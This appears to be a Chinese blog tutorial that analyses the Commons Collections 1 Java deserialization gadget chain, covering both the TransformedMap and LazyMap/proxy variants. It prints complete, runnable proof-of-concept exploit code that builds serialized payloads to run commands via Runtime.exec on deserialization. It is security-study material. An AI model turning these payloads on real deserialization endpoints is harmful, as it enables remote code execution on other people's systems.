Commons Collections1

环境搭建

JDK:<8u71

本白用的是8u65

img

<dependencies>

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

</dependencies>

代码审计

入口点是一个Transformer接口,里面只有一个transform的对象

img

该接口的实现类

img

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformer,TransformedMap

ConstantTransformer

其中我们来看一下ConstantTransformer

img

常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class ,进行转换返回的依旧是Runtime.class

这里的iConstant是在构造函数时传入的一个对象

但是无论是调用transform方法还是getConstant方法,他们的返回值都是iConstant

所以该类的作用就是包装任意一个对象,在执行回调时返回该对象

InvokerTransformer

再来看下InvokerTransformer的源码,这也是该漏洞的关键类

/**
     * Constructor for no arg instance.
     * 
     * @param methodName  the method to call
     */
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

其中在实例化InvokerTransformer时,有三个参数

1、需要执行的方法名

2、该函数的参数列表参数类型

3、该函数的参数列表

img

实例化后,紧借着调用了transform方法,也就是执行了input对象的iMethodName方法

img

到这里我们可以根据InvokerTransformer的参数来写一个本地rce

img

public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

img

到这里,我们先整理一下思路,看我们下一步需要找什么

img

对于反序列化,我们肯定要找到一个readObject来读取InputStream流的对象,而最后的恶意代码执行也有了上面的InvokerTransformer类可以实现,所以下一步我们就需要找到一个调用transform方法的类

跟进我们写的本地执行中transform方法,并查询调用该方法的所有类

TransfomedMap

其中在TransformedMap类中有3处调用

img

img

接受的对象时map,但是传出的键名和键值,也就是key和value是经过修饰的

其中这里的静态方法会返回经过TransformedMap方法处理的对象,键名和键值

img

而其中关于键值value的transform

img

我们跟进会发现到了TransformedMap的父类,也就是AbstractInputCheckedMapDecorator

img

这里的setValue是对MapEntry的方法重写,其中会调用checkSetValue,从而触发valueTransformer.transform

poc:

public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }

所以我们可以for循环MapEntry中map对象,再去调用value的transform方法

img

从我们写的poc来看

setValue方法会调用到TransformedMap的父类中的setValue

进而调用checkSetValue从而触发valueTransformer.transform(value)

而这里的操作相当于

Runtime r = Runtime.getRuntime();
invokerTransformer.transform(r)

也就达到了命令执行的目的

当然我们也可以通过另一个实现类完成命令执行的操作

ChainedTransformer

****ChainedTransformer****类封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformertransform方法。

/**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

第⼀个是ConstantTransformer,直接返回当前环境的Runtime对象;第二个是InvokerTransformer,执⾏Runtime对象的exec⽅法

手工put触发回调

poc:

public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map outerMap = TransformedMap.decorate(map, null, transformerChain);
        outerMap.put("key", "value");
    }

至此,我们的链子

img

虽然调用的实现类是不同的,但是大致的步骤都是差不多的

都是通过对Map对象的value值进行操作,将调用InvokerTransformer 的对象存入Map→Value

并调用TransformedMap.decorate这一静态方法,使其触发valueTransformer.transform方法,实际上也就是触发invokerTransformer.transform 从而达到命令执行的目的

当然,上面的两个EXP还不算真正的链子,应该将Map对象变成一个序列化流

既然是反序列化,触发的点就是readObject,我们还需要找到一个存在类似的写入操作

接着开始找哪里调用了setValue方法

img

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

注意到这里存在Map.Entry的遍历和调用setValue,大致是符合我们上面写的第一个EXP

再来看一下构造函数

img

这里就有两个问题了

1、Runtime.getRuntime()没有实现java.io.Serializable接口,不能序列化

2、想要调用setValue需要经过两个if判断,否则不能调用

这里的Map是我们可控的,也就是可以调用invokerTransformer.transform

并且这里的class关键字前没有public,不能直接调用,这里就需要反射获取

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
            annotationInvocationHandler.setAccessible(true);
            Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap);
            serialize(o);
            unserialize("ser.bin");

同时这里的Runtime部分就不能用java.lang.Runtime了,而是java.lang.Class并写在ChainedTransformer 数组内

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",new Class[]{}}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null,new Object[]{}}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new Object[]{"calc"})
            };

接着就是第二个问题

我们先在第一个if打上断点调试看下

这里判定为null,肯定无法进入if

img

考虑到我们之前调用的无参方法中注解类存在value的参数

img

img

所以这里将map对象的key修改为value并将焦勇的无参方法换成Target

所以最终的poc:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime",null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "ki10");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//
//
//        for (Map.Entry entry : transformedMap.entrySet()) {
//            entry.setValue(r);

//    }

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationhdConstructor.setAccessible(true);
    Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap);

    serialize(o);

    unserialize("ser.bin");

}

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }

img

至此TransformedMap 这条链子就走完了

img

但是通过ysoseiral源码发现

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
	Requires:
		commons-collections

该链调用的并不是TransformedMap而是LazyMap

相较于TransformedMapLazyMap 也要更复杂一点

这次的链子,我们反着来学习

从源码中不难发现,在AnnotationInvocationHandler.readObject() 方法下没有直接调用Map的get方法而是使用了动态代理

我们首先来看一下LazyMap中的get方法

img

其中containsKey是布尔型的

img

也就是说当containsKey不存在时,就会去调用factory.transform(key)并将其作业返回值

但对于sun.reflect.annotation.AnnotationInvocationHandler 这个类来说,实际上这个类是继承了InvocationHandler 的。也就是说,可以将这个对象动态代理,在readObject的时候,调用方法就可以进入AnnotationInvocationHandler的invoke方法,从而调用LazyMap中的get(key)

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {

//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class}, new Object[]{"calc"});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        } ;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(
                Map.class.getClassLoader(),
                new Class[]{Map.class},
                handler
        );
        Object o = cons.newInstance(Retention.class, proxyMap);
        byte[] bytes = serialize(o);
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }

        }
    }

img

最后

poc适用的版本应该是<8u71

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值